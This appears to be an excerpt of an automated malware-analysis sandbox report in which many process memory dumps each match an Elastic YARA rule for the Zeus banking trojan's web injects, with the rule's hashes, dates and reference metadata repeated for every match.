Source: 00000002.00000003.2681497968.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2488750222.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2634738816.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2710792546.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000002.3391439892.00000000029F3000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2643292305.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2681300847.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2509383327.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2681891778.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2683874460.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2504620207.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000022.00000002.2695460193.0000000000BD0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2636504789.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2680873224.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2684684807.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2643045244.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 0000000A.00000002.2575020460.00000000014C0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000024.00000002.2645314223.00000000023A0000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2642865814.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000000.00000002.2127342577.0000000000400000.00000040.00000001.01000000.00000005.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2562478885.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2684438036.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000024.00000002.2645122457.0000000002200000.00000040.00000001.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2712266421.000000000EE00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2671268394.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2684242011.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2650052400.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2689405360.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2643706755.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2682432522.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2522638686.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2136596251.0000000000881000.00000004.00000020.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2695314934.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2666567712.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2711233354.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000002.3391913803.0000000002C70000.00000040.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2649020462.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2670333858.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2638992211.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
Source: 00000002.00000003.2682624187.0000000002D30000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Zeus_e51c60d7 reference_sample = d7e9cb60674e0a05ad17eb96f8796d9f23844a33f83aba5e207b81979d0f2bf3, os = windows, severity = x86, description = Detects strings used in Zeus web injects. Many other malware families are built on Zeus and may hit on this signature., creation_date = 2021-02-07, scan_context = file, memory, reference = https://www.virusbulletin.com/virusbulletin/2014/10/paper-evolution-webinjects, license = Elastic License v2, threat_name = Windows.Trojan.Zeus, fingerprint = 813e2ee2447fcffdde6519dc6c52369a5d06c668b76c63bb8b65809805ecefba, id = e51c60d7-3afa-4cf5-91d8-7782e5026e46, last_modified = 2021-10-04
